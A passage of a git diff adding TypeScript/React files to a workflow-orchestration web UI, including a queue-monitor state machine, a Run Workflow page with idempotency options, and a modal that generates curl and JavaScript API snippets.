[RefreshMachineEventTypes.UPDATE_DURATION]: { + actions: ["persistDuration"], + target: "updateDurationDuringRefresh", + }, + }, + states: { + idle: {}, + showError: {}, + fetchForTaskPolls: { + invoke: { + src: "fetchForPollData", + onDone: { + actions: "persistPollQueueData", + target: "checkRefreshConfig", + }, + onError: { + actions: "peristErrorMessage", + target: "showError", + }, + }, + }, + checkRefreshConfig: { + invoke: { + src: "maybePullOrderAndVisibility", + onDone: { + actions: ["persistLocalStorageDuration"], + target: "ready", + }, + }, + }, + updateDurationDuringRefresh: { + invoke: { + src: "saveOrderAndVisibility", + onDone: "checkRefreshConfig", + }, + }, + ready: { + on: { + [QueueMachineEventTypes.UPDATE_QUEUE_OPTION]: { + actions: "persistQueueOption", + }, + [QueueMachineEventTypes.UPDATE_WORKER_COUNT_OPTION]: { + actions: "persistWorkerOption", + }, + [QueueMachineEventTypes.UPDATE_LAST_POLL_TIME_OPTION]: { + actions: "persistLastPollTimeOption", + }, + }, + type: "parallel", + states: { + tableSelection: { + initial: "checkSelection", + states: { + checkSelection: { + always: [ + { cond: "noQueueNameSelected", target: "noSelection" }, + { + target: "withSelection", + }, + ], + }, + noSelection: { + on: { + [QueueMachineEventTypes.SELECT_QUEUE_NAME]: { + actions: "persistQueueSelection", + target: "withSelection", + }, + }, + }, + withSelection: { + on: { + [QueueMachineEventTypes.SELECT_QUEUE_NAME]: { + actions: "persistQueueSelection", + target: "withSelection", + }, + }, + }, + }, + }, + refresher: { + invoke: { + src: timerMachine, + id: "refreshMachine", + data: ({ refetchDuration }) => ({ + durationSet: refetchDuration, + elapsed: 0, + duration: refetchDuration, + }), + }, + initial: "timer", + states: { + fetchForTaskPolls: { + invoke: { + src: "fetchForPollData", + onDone: { + actions: "persistPollQueueData", + target: "timer", + }, + }, + }, + timer: { + on: { + [RefreshMachineEventTypes.REFRESH]: { + target: "fetchForTaskPolls", + actions: ["forwardToRefreshMachine"], + }, + [RefreshMachineEventTypes.UPDATE_DURATION]: { + actions: ["persistDuration", "forwardToRefreshMachine"], + target: "updateDuration", + }, + }, + }, + updateDuration: { + invoke: { + src: "saveOrderAndVisibility", + onDone: "timer", + }, + }, + }, + }, + filterDialog: { + initial: "closeDialog", + states: { + closeDialog: { + on: { openDialog: "openDialog" }, + }, + openDialog: { + on: { closeDialog: "closeDialog" }, + }, + }, + }, + }, + }, + }, + }, + { + actions: actions as any, + services, + guards: guards as any, + }, +); diff --git a/ui-next/src/pages/queueMonitor/state/service.ts b/ui-next/src/pages/queueMonitor/state/service.ts new file mode 100644 index 0000000..15f5cb3 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/state/service.ts @@ -0,0 +1,57 @@ +import { queryClient } from "queryClient"; +import { fetchWithContext, fetchContextNonHook } from "plugins/fetch"; +import { QueueMonitorMachineContext } from "./types"; +import { logger } from "utils/logger"; +import { hasNoQueryParams, filterOptionToQueryParams } from "../helpers"; + +const fetchContext = fetchContextNonHook(); + +const queuePollDataPath = `/tasks/queue/polldata/all`; + +const LOCAL_STORAGE_KEY = "queueMonitorRefreshSeconds"; + +export const fetchForPollData = async ({ + authHeaders: headers, + filterOptions, +}: QueueMonitorMachineContext) => { + const url = hasNoQueryParams(filterOptions) + ? queuePollDataPath + : `${queuePollDataPath}?${filterOptionToQueryParams(filterOptions)}`; + + logger.info("Will hit path to fetch for tasks ", url, filterOptions); + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, url], + () => fetchWithContext(url, fetchContext, { headers }), + ); + return response; + } catch (error: any) { + logger.error("Fetching task list page", error); + return Promise.reject({ + message: + error.status === 403 + ? "It seems like you do not have permissions to view this page. Please check with your cluster administrator." + : "Error fetching task list page", + }); + } +}; + +export const saveOrderAndVisibility = async ( + context: QueueMonitorMachineContext, +) => { + const { refetchDuration } = context; + window.localStorage.setItem(LOCAL_STORAGE_KEY, `${refetchDuration}`); + + return true; +}; + +export const maybePullOrderAndVisibility = async ( + context: QueueMonitorMachineContext, +) => { + const { refetchDuration } = context; + const savedOrder = window.localStorage.getItem(LOCAL_STORAGE_KEY); + if (savedOrder) { + return parseInt(savedOrder, 10); + } + return refetchDuration; +}; diff --git a/ui-next/src/pages/queueMonitor/state/types.ts b/ui-next/src/pages/queueMonitor/state/types.ts new file mode 100644 index 0000000..68bd597 --- /dev/null +++ b/ui-next/src/pages/queueMonitor/state/types.ts @@ -0,0 +1,89 @@ +import { DoneInvokeEvent } from "xstate"; +import { AuthHeaders } from "types/common"; +import { RefreshEvent, UpdateDurationEvent } from "../refresher/state/types"; + +export type QueueSizeCount = { + size: number; + pollerCount?: number; +}; + +export type QueueData = Record; + +export interface PollData { + queueName: string; + domain: string; + workerId: string; + lastPollTime: number; +} + +export enum RangeOptions { + GT = "GT", + LT = "LT", +} + +export type FilterOption = { + size: number; + option: RangeOptions; +}; + +export interface FilterOptions { + queue?: FilterOption; + worker?: FilterOption; + lastPollTime?: FilterOption; +} + +export interface QueueMonitorMachineContext { + authHeaders?: AuthHeaders; + pollDataByQueueName?: Record; + selectedQueueName?: string; + queueData: QueueData; + filterOptions: FilterOptions; + filterOptionsToApply: FilterOptions; + refetchDuration: number; + errorMessage: string; +} + +export enum QueueMachineEventTypes { + FETCH_TASKS_QUEUE = "FETCH_TASKS_QUEUE", + SELECT_QUEUE_NAME = "SELECT_QUEUE_NAME", + + UPDATE_QUEUE_OPTION = "UPDATE_QUEUE_OPTION", + UPDATE_WORKER_COUNT_OPTION = "UPDATE_WORKER_OPTION", + UPDATE_LAST_POLL_TIME_OPTION = "UPDATE_LAST_POLL_TIME_OPTION", +} + +export type UpdateQueueOptionEvent = { + type: QueueMachineEventTypes.UPDATE_QUEUE_OPTION; + queue?: FilterOption; +}; + +export type UpdateWorkerOptionEvent = { + type: QueueMachineEventTypes.UPDATE_WORKER_COUNT_OPTION; + worker?: FilterOption; +}; + +export type UpdateLastPollTimeOptionEvent = { + type: QueueMachineEventTypes.UPDATE_LAST_POLL_TIME_OPTION; + lastPollTime?: FilterOption; +}; + +export type SelectQueueEvent = { + type: QueueMachineEventTypes.SELECT_QUEUE_NAME; + queueName: string; +}; + +export type FetchQueueEvent = { + type: QueueMachineEventTypes.FETCH_TASKS_QUEUE; +} & FilterOptions; + +export type FetchResponse = { queueData: QueueData; pollData: PollData[] }; + +export type QueueMonitorMachineEvents = + | FetchQueueEvent + | SelectQueueEvent + | RefreshEvent + | UpdateQueueOptionEvent + | UpdateWorkerOptionEvent + | UpdateLastPollTimeOptionEvent + | UpdateDurationEvent + | DoneInvokeEvent; diff --git a/ui-next/src/pages/runWorkflow/IdempotencyForm.tsx b/ui-next/src/pages/runWorkflow/IdempotencyForm.tsx new file mode 100644 index 0000000..bba97e5 --- /dev/null +++ b/ui-next/src/pages/runWorkflow/IdempotencyForm.tsx @@ -0,0 +1,124 @@ +import { FormControlLabel, Grid } from "@mui/material"; +import RadioButtonGroup from "components/ui/inputs/RadioButtonGroup"; +import Text from "components/ui/Text"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { colors } from "theme/tokens/variables"; + +const style = { + labelText: { + position: "relative", + fontSize: "13px", + transform: "none", + fontWeight: 600, + paddingLeft: 0, + marginBottom: "0.3em", + color: colors.black, + }, +}; + +export interface IdempotencyFormProps { + idempotencyValues: { + idempotencyKey?: string; + idempotencyStrategy?: IdempotencyStrategyEnum; + }; + onChange: (data: { + idempotencyKey: string; + idempotencyStrategy?: IdempotencyStrategyEnum; + }) => void; + showStrategyInitially?: boolean; +} + +enum IdempotencyStrategyEnum { + FAIL = "FAIL", + RETURN_EXISTING = "RETURN_EXISTING", + FAIL_ON_RUNNING = "FAIL_ON_RUNNING", +} + +export default function IdempotencyForm({ + idempotencyValues, + onChange, + showStrategyInitially, +}: IdempotencyFormProps) { + const { idempotencyKey, idempotencyStrategy } = idempotencyValues; + return ( + <> + + + onChange({ + idempotencyKey: value, + idempotencyStrategy: idempotencyStrategy, + }) + } + tooltip={{ + title: "Idempotency key", + content: + "Idempotency Key is a user generated key to avoid conflicts with other workflows. Idempotency data is retained for the life of the workflow executions.", + }} + /> + + {(idempotencyKey || showStrategyInitially) && ( + <> + + + Idempotency strategy + + { + onChange({ + idempotencyKey: idempotencyKey ?? "", + idempotencyStrategy: value as IdempotencyStrategyEnum, + }); + }} + /> + } + /> + + + )} + + ); +} diff --git a/ui-next/src/pages/runWorkflow/RunWorkflow.tsx b/ui-next/src/pages/runWorkflow/RunWorkflow.tsx new file mode 100644 index 0000000..8ffc6f5 --- /dev/null +++ b/ui-next/src/pages/runWorkflow/RunWorkflow.tsx @@ -0,0 +1,737 @@ +import { Box, Grid, Paper, Theme } from "@mui/material"; +import { Button } from "components"; +import MuiAlert from "components/ui/MuiAlert"; +import NavLink from "components/ui/NavLink"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import SplitButton from "components/ui/buttons/ConductorSplitButton"; +import PlayIcon from "components/icons/PlayIcon"; +import ResetIcon from "components/icons/ResetIcon"; +import XCloseIcon from "components/icons/XCloseIcon"; +import { RunWorkflowHistoryTable } from "pages/definition/RunWorkflow/RunWorkflowHistoryTable"; +import { + IdempotencyStrategyEnum, + IdempotencyValuesProp, +} from "pages/definition/RunWorkflow/state"; +import { useEffect, useMemo, useState } from "react"; +import { Helmet } from "react-helmet"; +import { useLocation, useNavigate } from "react-router"; +import { useQueryState } from "react-router-use-location-state"; +import { editor } from "shared/editor"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import SectionHeader from "components/layout/SectionHeader"; +import { useAuth } from "components/features/auth"; +import { colors } from "theme/tokens/variables"; +import { logger, tryToJson, useLocalStorage } from "utils/index"; +import { useAction, useWorkflowDefsByVersions } from "utils/query"; +import { v4 as uuidv4 } from "uuid"; +import IdempotencyForm from "./IdempotencyForm"; +import { + BuildQueryOutput, + RunWorkflowApiSearchModal, +} from "./RunWorkflowApiSearchModal"; +import { getTemplateFromInputParams } from "./runWorkflowUtils"; + +type InputParameterType = { + inputParameters: string[]; +}; + +type CommonProperties = { + correlationId: string; + input: object; + taskToDomain?: object; + idempotencyKey?: string; + idempotencyStrategy?: IdempotencyStrategyEnum; +}; + +type RunWorkflowParamType = { + name: string; + version: string; +} & CommonProperties; + +interface LocationState { + state: { + execution?: { + workflowName: string; + workflowVersion: number; + } & CommonProperties; + }; +} + +interface RunWorkflowState { + workflowType: string; + workflowVersion: string | null; + workflowVersions: string[]; + workflowInputParams: string[]; + workflowInputTemplate: string; + taskToDomain: string; + workflowCorrelationId: string; + lastCreatedWorkflowId: string; + idempotencyKey: string; + idempotencyStrategy?: IdempotencyStrategyEnum; +} + +const style = { + root: { + padding: 0, + margin: 0, + color: "rgba(0, 0, 0, 1)", + borderLeft: "solid var(--backgroundLight) 2px", + border: "4px solid green", + }, + monaco: { + padding: "10px", + borderStyle: "solid", + borderColor: (theme: Theme) => + theme.palette?.mode === "dark" ? colors.gray04 : colors.gray11, + borderWidth: "1px", + borderRadius: "4px", + "&:focus-within": { + margin: "-2px", + borderColor: "rgb(73, 105, 228)", + borderStyle: "solid", + borderWidth: "2px", + }, + }, + label: { + display: "block", + marginBottom: "8px", + }, + menuBg: { + background: "none", + color: "black", + }, + listClass: { + fontSize: "14px", + lineHeight: 2.1, + display: "flex", + justifyContent: "flex-start", + paddingLeft: "30px", + color: "#293845", + "&:hover": { + backgroundColor: "var(--backgroundLightest)", + }, + "&.active": { + backgroundColor: "var(--backgroundLightest)", + }, + }, + buttonSpacer: { + paddingTop: "30px", + paddingLeft: "10px", + }, + controls: { + height: "calc(100%)", + overflowY: "auto", + width: "calc(100%)", + overflowX: "hidden", + }, + inputBox: { + "& textarea": { + padding: "0 10px", + }, + "& input": { + padding: "0 10px", + }, + }, + largeInputBox: { + width: "100%", + "& div": { + width: "100%", + }, + "& input": { + width: "100%", + }, + }, + labelText: { + position: "relative", + fontSize: "13px", + transform: "none", + fontWeight: 600, + paddingLeft: 0, + marginBottom: "0.3em", + color: "#767676", + }, + dropDown: { + "& .MuiOutlinedInput-root.MuiInputBase-sizeSmall .MuiAutocomplete-input": { + padding: "2.5px 10px 2.5px", + }, + }, +}; + +const GENERIC_ERROR_MESSAGE = "Error while running workflow."; +const INVALID_DATA_MESSAGE = "Invalid data. Cannot run Workflow."; + +// function getInputAreaLength(workflowInputTemplate: string) { +// return Math.max( +// 6, +// (workflowInputTemplate || "").split(/\r\n|\r|\n/).length + 1 +// ); +// } + +const INITIAL_STATE = { + workflowType: "", + workflowVersion: null, + workflowVersions: [], + workflowInputParams: [], + workflowInputTemplate: "", + taskToDomain: "", + workflowCorrelationId: "", + lastCreatedWorkflowId: "", + idempotencyKey: "", + idempotencyStrategy: IdempotencyStrategyEnum.RETURN_EXISTING, +}; + +export function RunWorkflow() { + const [workflowHistory, setWorkflowHistory] = useLocalStorage( + "workflowHistory", + [], + ); + + const { isTrialExpired } = useAuth(); + + const workflowDefByVersions = useWorkflowDefsByVersions(); + const workflowNames = useMemo( + (): string[] => + workflowDefByVersions + ? Array.from(workflowDefByVersions.get("lookups").keys()) + : [], + [workflowDefByVersions], + ); + + const location: LocationState = useLocation(); + const latestExecution = useMemo(() => location.state?.execution, [location]); + + const [selectedWorkflow, setSelectedWorkflow] = useLocalStorage( + "selectedWorkflow", + {}, + ); + const memorizedState = useMemo(() => { + const workflowName = + latestExecution?.workflowName || selectedWorkflow?.name; + return { + ...INITIAL_STATE, + workflowType: workflowName || null, + workflowVersion: + latestExecution?.workflowVersion?.toString() || + selectedWorkflow?.version || + null, + workflowVersions: workflowName + ? workflowDefByVersions.get("lookups").get(workflowName) || [] + : [], + workflowInputParams: [], + workflowInputTemplate: + JSON.stringify(latestExecution?.input, null, 2) || + selectedWorkflow?.workflowInput || + "", + taskToDomain: latestExecution?.taskToDomain + ? JSON.stringify(latestExecution.taskToDomain, null, 2) + : "", + workflowCorrelationId: latestExecution?.correlationId + ? latestExecution.correlationId + : "", + lastCreatedWorkflowId: "", + }; + }, [latestExecution, selectedWorkflow, workflowDefByVersions]); + + const [runWorkflowState, setRunWorkflowState] = + useState(memorizedState); + const [errorMessage, setErrorMessage] = useState(""); + const [showCodeDialog, setShowCodeDialog] = useQueryState("displayCode", ""); + + const runWorkflowAction = useAction( + "/workflow", + "post", + { + onSuccess(data: string, input: { body: string }) { + setRunWorkflowState({ + ...runWorkflowState, + lastCreatedWorkflowId: data, + }); + setErrorMessage(""); + const existingHistory = workflowHistory || []; + const newHistoryItem = { + id: uuidv4(), + executionLink: data, + executionTime: Date.now(), + }; + const parsedBody = tryToJson(input.body); + if (parsedBody) { + Object.assign(newHistoryItem, parsedBody); + } + setWorkflowHistory([newHistoryItem, ...existingHistory].slice(0, 20)); + }, + onError: (error: Response) => { + const parseErrorResponse = async () => { + try { + const json = await error.json(); + if (json?.message) { + setErrorMessage(json.message); + } else { + setErrorMessage(GENERIC_ERROR_MESSAGE); + } + } catch { + setErrorMessage(GENERIC_ERROR_MESSAGE); + } + }; + parseErrorResponse(); + }, + }, + true, + ); + + const setLastCreatedWorkflowId = function (value: string) { + setRunWorkflowState((prevState) => ({ + ...prevState, + lastCreatedWorkflowId: value, + })); + }; + const templateForNoInput = () => { + return JSON.stringify({}, null, 2); + }; + + const setWorkflowTypeState = function (workflowType: string) { + let workflowVersionsVal = []; + + if (workflowType !== null) { + workflowVersionsVal = workflowDefByVersions + .get("lookups") + .get(workflowType); + } + + let versionObj = { + workflowVersion: null, + workflowInputParams: [] as string[], + workflowInputTemplate: "", + }; + + if (workflowVersionsVal.length > 0) { + const latestVersion = workflowVersionsVal.slice(-1).pop(); + let def: InputParameterType = { + inputParameters: [], + }; + if (latestVersion !== null) { + def = workflowDefByVersions + .get("values") + .get(workflowType) + .get(latestVersion); + } + + const templateFromInputParams = + def["inputParameters"].length > 0 + ? getTemplateFromInputParams(def["inputParameters"]) + : templateForNoInput(); + + versionObj = { + workflowVersion: latestVersion, + workflowInputParams: def["inputParameters"], + workflowInputTemplate: templateFromInputParams, + }; + } + + setRunWorkflowState({ + ...runWorkflowState, + ...versionObj, + workflowVersions: workflowVersionsVal, + workflowType: workflowType, + taskToDomain: "", + workflowCorrelationId: runWorkflowState.workflowCorrelationId, + lastCreatedWorkflowId: "", + }); + setWorkflowInputTemplatesState(versionObj.workflowInputTemplate); + }; + + const setWorkflowVersionState = function (workflowVersion: string) { + let def: InputParameterType = { + inputParameters: [], + }; + if (workflowVersion !== null) { + def = workflowDefByVersions + .get("values") + .get(runWorkflowState.workflowType) + .get(workflowVersion); + } + const templateFromInputParams = getTemplateFromInputParams( + def["inputParameters"], + ); + setRunWorkflowState({ + ...runWorkflowState, + workflowVersion: workflowVersion, + workflowInputParams: def["inputParameters"], + workflowInputTemplate: templateFromInputParams, + }); + setWorkflowInputTemplatesState(templateFromInputParams); + }; + + const runThisWorkflow = function () { + //TODO per input validation + try { + const input = + (runWorkflowState.workflowInputTemplate && + JSON.parse(runWorkflowState.workflowInputTemplate)) || + undefined; + const taskToDomain = + (runWorkflowState.taskToDomain && + JSON.parse(runWorkflowState.taskToDomain)) || + undefined; + const postObject = { + name: runWorkflowState.workflowType, + version: runWorkflowState.workflowVersion, + correlationId: runWorkflowState.workflowCorrelationId, + taskToDomain, + input, + idempotencyKey: runWorkflowState.idempotencyKey, + ...(runWorkflowState.idempotencyKey && + runWorkflowState.idempotencyStrategy && { + idempotencyStrategy: runWorkflowState.idempotencyStrategy, + }), + }; + const postBody = JSON.stringify(postObject); + // @ts-ignore + runWorkflowAction.mutate({ + body: postBody, + }); + // for localStorage + const selectedWorkflow = { + name: runWorkflowState?.workflowType, + version: runWorkflowState?.workflowVersion, + workflowInput: runWorkflowState?.workflowInputTemplate, + }; + setSelectedWorkflow(selectedWorkflow); + } catch { + setErrorMessage(INVALID_DATA_MESSAGE); + } + }; + + const clearWorkflow = function () { + setErrorMessage(""); + setRunWorkflowState(INITIAL_STATE); + setSelectedWorkflow(INITIAL_STATE); + setWorkflowInputTemplatesState(""); + }; + + const setWorkflowInputTemplatesState = function (value: string) { + setRunWorkflowState((prevState) => ({ + ...prevState, + workflowInputTemplate: value, + })); + }; + + const setWorkflowTasksToDomainState = function (value: string) { + setRunWorkflowState((prevState) => ({ + ...prevState, + taskToDomain: value, + })); + }; + + const setWorkflowCorrelationIdState = function (value: string) { + setRunWorkflowState((prevState) => ({ + ...prevState, + workflowCorrelationId: value, + })); + }; + + const handleChangeIdempotencyValues = (data: IdempotencyValuesProp) => { + setRunWorkflowState((prevState) => ({ + ...prevState, + idempotencyKey: data?.idempotencyKey, + idempotencyStrategy: data?.idempotencyStrategy, + })); + }; + + const fillRerunWorkflowFields = function (row: RunWorkflowParamType) { + // PATCH if the workflow does not exist dont populate + if (workflowNames.find((name) => name === row.name)) { + setRunWorkflowState({ + ...memorizedState, + lastCreatedWorkflowId: runWorkflowState.lastCreatedWorkflowId, + workflowCorrelationId: row.correlationId, + workflowVersion: row.version, + workflowType: row.name, + workflowVersions: workflowDefByVersions.get("lookups").get(row.name), + idempotencyKey: row?.idempotencyKey ?? "", + ...(row.idempotencyStrategy && { + idempotencyStrategy: row.idempotencyStrategy, + }), + }); + try { + if (row.taskToDomain) { + setWorkflowTasksToDomainState( + JSON.stringify(row.taskToDomain, null, 2), + ); + } + if (row.input) { + setWorkflowInputTemplatesState(JSON.stringify(row.input, null, 2)); + } + } catch (err) { + logger.error("Could not parse row:", row, err); + } + } else { + logger.warn("Workflow selected does not exist", row); + } + }; + + useEffect(() => { + if (latestExecution?.workflowName) { + setRunWorkflowState((prevState) => ({ + ...prevState, + workflowVersions: + workflowDefByVersions + .get("lookups") + .get(latestExecution.workflowName) || [], + })); + } + }, [latestExecution, workflowDefByVersions, setRunWorkflowState]); + + const navigate = useNavigate(); + + const buildQueryForCode = (): BuildQueryOutput => { + const { + workflowInputTemplate, + taskToDomain, + workflowType, + workflowVersion, + workflowCorrelationId, + idempotencyKey, + idempotencyStrategy, + } = runWorkflowState; + + const input = + (workflowInputTemplate && + tryToJson>(workflowInputTemplate)) || + {}; + + const taskToDomainVal = + (taskToDomain && tryToJson(taskToDomain)) || undefined; + + const queryObject = { + input, + taskToDomain: taskToDomainVal, + name: workflowType || "", + version: workflowVersion || "", + correlationId: workflowCorrelationId, + idempotencyKey: idempotencyKey, + ...(idempotencyKey && + idempotencyStrategy && { + idempotencyStrategy: idempotencyStrategy, + }), + }; + + return queryObject; + }; + + return ( + <> + + Run Workflow + + {showCodeDialog && ( + setShowCodeDialog("")} + buildQueryOutput={buildQueryForCode()} + /> + )} + + + + + } + options={[ + { + label: "Show as code", + onClick: () => setShowCodeDialog("active"), + }, + ]} + primaryOnClick={runThisWorkflow} + disabled={isTrialExpired} + > + Run workflow + + + } + /> + } + > + {errorMessage && ( + + { + setLastCreatedWorkflowId(""); + setErrorMessage(""); + }} + severity="error" + > + {errorMessage} + + + )} + {runWorkflowState.lastCreatedWorkflowId !== "" && ( + + { + setLastCreatedWorkflowId(""); + }} + severity="success" + > + Workflow created :  + + {runWorkflowState.lastCreatedWorkflowId} + + + + )} + + + + + + + { + setWorkflowTypeState(val); + }} + value={runWorkflowState.workflowType} + autoFocus + required + /> + + + setWorkflowVersionState(val)} + value={runWorkflowState.workflowVersion} + /> + + + + setWorkflowInputTemplatesState(value) + } + options={{ + scrollBeyondLastLine: false, + wrappingStrategy: "advanced", + lightbulb: { + enabled: editor.ShowLightbulbIconMode.On, + }, + quickSuggestions: true, + lineNumbers: "on", + wordWrap: "on", + glyphMargin: false, + folding: false, + lineDecorationsWidth: 10, + lineNumbersMinChars: 0, + renderLineHighlight: "none", + hideCursorInOverviewRuler: false, + overviewRulerBorder: false, + automaticLayout: true, // Important + }} + autoformat + /> + + + + + setWorkflowCorrelationIdState(val) + } + /> + + + + setWorkflowTasksToDomainState(value) + } + /> + + + + + + + + + + + + + ); +} diff --git a/ui-next/src/pages/runWorkflow/RunWorkflowApiSearchModal.tsx b/ui-next/src/pages/runWorkflow/RunWorkflowApiSearchModal.tsx new file mode 100644 index 0000000..f2db33b --- /dev/null +++ b/ui-next/src/pages/runWorkflow/RunWorkflowApiSearchModal.tsx @@ -0,0 +1,131 @@ +import { ApiSearchModal } from "components/ApiSearchModal"; +import { curlHeaders } from "shared/CodeModal/curlHeader"; +import { toCodeT, useParamsToSdk } from "shared/CodeModal/hook"; +import { SupportedDisplayTypes } from "shared/CodeModal/types"; +import { IdempotencyStrategyEnum } from "./types"; + +export type BuildQueryOutput = { + input?: Record; + taskToDomain?: object; + name: string; + version: string | null; + correlationId: string; + idempotencyKey?: string; + idempotencyStrategy?: IdempotencyStrategyEnum; +}; + +interface RunWorkflowApiSearchModalProps { + buildQueryOutput: BuildQueryOutput; + onClose: () => void; +} + +const buildCurlCode = ( + buildQueryOutput: BuildQueryOutput, + accessToken: string, +) => { + const { + correlationId, + name, + version, + input, + taskToDomain, + idempotencyKey, + idempotencyStrategy, + } = buildQueryOutput; + + const headers = { + ...curlHeaders(accessToken), + "Content-Type": "application/json", + }; + + const dataRawJSON = { + name: name, + version: version, + input, + correlationId: correlationId, + idempotencyKey: idempotencyKey, + ...(idempotencyStrategy && { idempotencyStrategy: idempotencyStrategy }), + ...(taskToDomain && { taskToDomain: taskToDomain }), + }; + + const curlCommand = `curl '${ + window.location.origin + }/api/workflow' \\${Object.entries(headers) + .map(([key, value]) => `\n-H '${key}: ${value}' \\`) + .join("")}\n--data-raw '${JSON.stringify(dataRawJSON)}'`; + + return curlCommand; +}; + +const buildJsCode = ( + buildQueryOutput: BuildQueryOutput, + accessToken: string, +) => { + const { + correlationId, + name, + version, + input, + taskToDomain, + idempotencyKey, + idempotencyStrategy, + } = buildQueryOutput; + + return `import { orkesConductorClient, WorkflowExecutor } from "@io-orkes/conductor-javascript"; + +async function runWorkflow() { + const client = await orkesConductorClient({ + TOKEN: "${accessToken}", + serverUrl: "${window.location.origin}/api" + }); + const executor = new WorkflowExecutor(client); + + const data = ${`{ + name: "${name}", + version: "${version}", + input: ${JSON.stringify(input)}, + correlationId: "${correlationId}", + idempotencyKey:"${idempotencyKey}", + ${ + idempotencyStrategy ? `idempotencyStrategy:"${idempotencyStrategy}",` : "" + } + ${taskToDomain ? `taskToDomain: ${JSON.stringify(taskToDomain)},` : ""} + };`.replace(/^\s*[\r\n]/gm, "")} + + const result = await executor.startWorkflow(data); + + return result; +} + +runWorkflow(); + `; +}; + +const toCodeMap: toCodeT = { + curl: buildCurlCode, + javascript: buildJsCode, +}; + +const RunWorkflowApiSearchModal = ({ + onClose, + buildQueryOutput, +}: RunWorkflowApiSearchModalProps) => { + const { selectedLanguage, setSelectedLanguage, code } = + useParamsToSdk(buildQueryOutput, toCodeMap); + + return ( + { + setSelectedLanguage(val); + }} + dialogTitle="Run Workflow API" + dialogHeaderText="Here is the code for the run workflow." + languages={Object.keys(toCodeMap) as SupportedDisplayTypes[]} + /> + ); +}; + +export { RunWorkflowApiSearchModal }; diff --git a/ui-next/src/pages/runWorkflow/index.ts b/ui-next/src/pages/runWorkflow/index.ts new file mode 100644 index 0000000..fc48430 --- /dev/null +++ b/ui-next/src/pages/runWorkflow/index.ts @@ -0,0 +1 @@ +export * from "./RunWorkflow"; diff --git a/ui-next/src/pages/runWorkflow/runWorkflowUtils.ts b/ui-next/src/pages/runWorkflow/runWorkflowUtils.ts new file mode 100644 index 0000000..37de938 --- /dev/null +++ b/ui-next/src/pages/runWorkflow/runWorkflowUtils.ts @@ -0,0 +1,150 @@ +import { logger } from "utils/logger"; +import { tryToJson } from "utils/utils"; +import _isArray from "lodash/isArray"; +import { + DeletedWfNameType, + DeletedWfVersionType, + ParsedSelectedWorkflowType, +} from "./types"; + +export const removeCopyFromStorage = (context: any): Promise => { + removeCachedChangesFromWorkflow( + context.workflowName, + context.currentVersion, + context.isNewWorkflow, + context.currentWf?.version, + ); + + return Promise.resolve(true); +}; + +const isNotAValidVersion = (deletedwfversion: DeletedWfVersionType) => { + return deletedwfversion === null || isNaN(deletedwfversion as number); +}; + +const cleanupHistoryInLocalStorage = ( + deletedwfname: DeletedWfNameType, + deletedwfversion: DeletedWfVersionType, +) => { + const history = localStorage.getItem("workflowHistory"); + const parsedHistory = tryToJson(history); + if (_isArray(parsedHistory)) { + const filteredhistory = parsedHistory.filter( + (item: { name: string; version: string }) => { + const isDeletedWorkflow = + item.name === deletedwfname && + ((isNotAValidVersion(deletedwfversion) && item.version === null) || + parseInt(item.version) === deletedwfversion); + return !isDeletedWorkflow; + }, + ); + try { + localStorage.setItem("workflowHistory", JSON.stringify(filteredhistory)); + } catch (error) { + logger.error("Error stringifying filteredhistory:", error); + } + } +}; + +const removeSelectedWfInLocalStorage = (deletedWfName: DeletedWfNameType) => { + const selectedWorkflow = localStorage.getItem("selectedWorkflow"); + const parsedSelectedWorkflow = + tryToJson(selectedWorkflow); + if ( + !!parsedSelectedWorkflow && + parsedSelectedWorkflow.name === deletedWfName + ) { + localStorage.removeItem("selectedWorkflow"); + } +}; + +export const extractKeyFromContext = ({ + workflowName, + currentVersion, + isNewWorkflow = false, +}: { + workflowName: string; + currentVersion?: number; + isNewWorkflow?: boolean; +}) => { + return isNewWorkflow + ? "newWorkflowDef" + : `${workflowName}/${currentVersion ?? ""}`; +}; + +const localcopytimekey = "_localcopyupdatedtime"; + +export const addLocalCopyTime = (wfKey: any) => { + localStorage.setItem( + wfKey + localcopytimekey, + new Date().toLocaleString("en-US"), + ); +}; +export const removeLocalCopyTime = (wfKey: any) => { + localStorage.removeItem(wfKey + localcopytimekey); +}; +export const getLocalCopyTime = (wfKey: any) => { + return localStorage.getItem(wfKey + localcopytimekey); +}; + +export const removeCachedChangesFromWorkflow = ( + deletedWfName: DeletedWfNameType, + deletedWfVersion?: DeletedWfVersionType, + isNewWorkflow = false, + previousVersion?: DeletedWfVersionType, +) => { + if (deletedWfName != null) { + const context = { + workflowName: deletedWfName, + currentVersion: deletedWfVersion, + isNewWorkflow, + }; + const wfKey = extractKeyFromContext(context); + localStorage.removeItem(wfKey); + + const wfKeyLastVersion = extractKeyFromContext({ + ...context, + currentVersion: undefined, + }); + localStorage.removeItem(wfKeyLastVersion); + + if (previousVersion) { + const wfKeyPreviousVersion = extractKeyFromContext({ + ...context, + currentVersion: previousVersion, + }); + localStorage.removeItem(wfKeyPreviousVersion); + removeLocalCopyTime(wfKeyPreviousVersion); + } + + removeLocalCopyTime(wfKeyLastVersion); + removeLocalCopyTime(wfKey); + } +}; + +export const removeDeletedWorkflow = ( + deletedWfName: DeletedWfNameType, + deletedWfVersion: DeletedWfVersionType, + isNewWorkflow = false, +) => { + cleanupHistoryInLocalStorage(deletedWfName, deletedWfVersion); + removeSelectedWfInLocalStorage(deletedWfName); + removeCopyFromStorage({ + workflowName: deletedWfName, + currentVersion: deletedWfVersion, + isNewWorkflow, + }); +}; + +export function getTemplateFromInputParams(inputParamsArray: any) { + if (!inputParamsArray) { + return ""; + } + const input: { [key: string]: string } = {}; + if (Array.isArray(inputParamsArray)) { + inputParamsArray.forEach((val: any) => { + input[val] = ""; + }); + } + return JSON.stringify(input, null, 2); +} diff --git a/ui-next/src/pages/runWorkflow/types.ts b/ui-next/src/pages/runWorkflow/types.ts new file mode 100644 index 0000000..b43177b --- /dev/null +++ b/ui-next/src/pages/runWorkflow/types.ts @@ -0,0 +1,16 @@ +export type SelectedWorkflowType = { + name: string; + version: number | string; +}; + +export type DeletedWfNameType = string | undefined; + +export type DeletedWfVersionType = number | undefined; + +export type ParsedSelectedWorkflowType = SelectedWorkflowType | undefined; + +export enum IdempotencyStrategyEnum { + FAIL = "FAIL", + 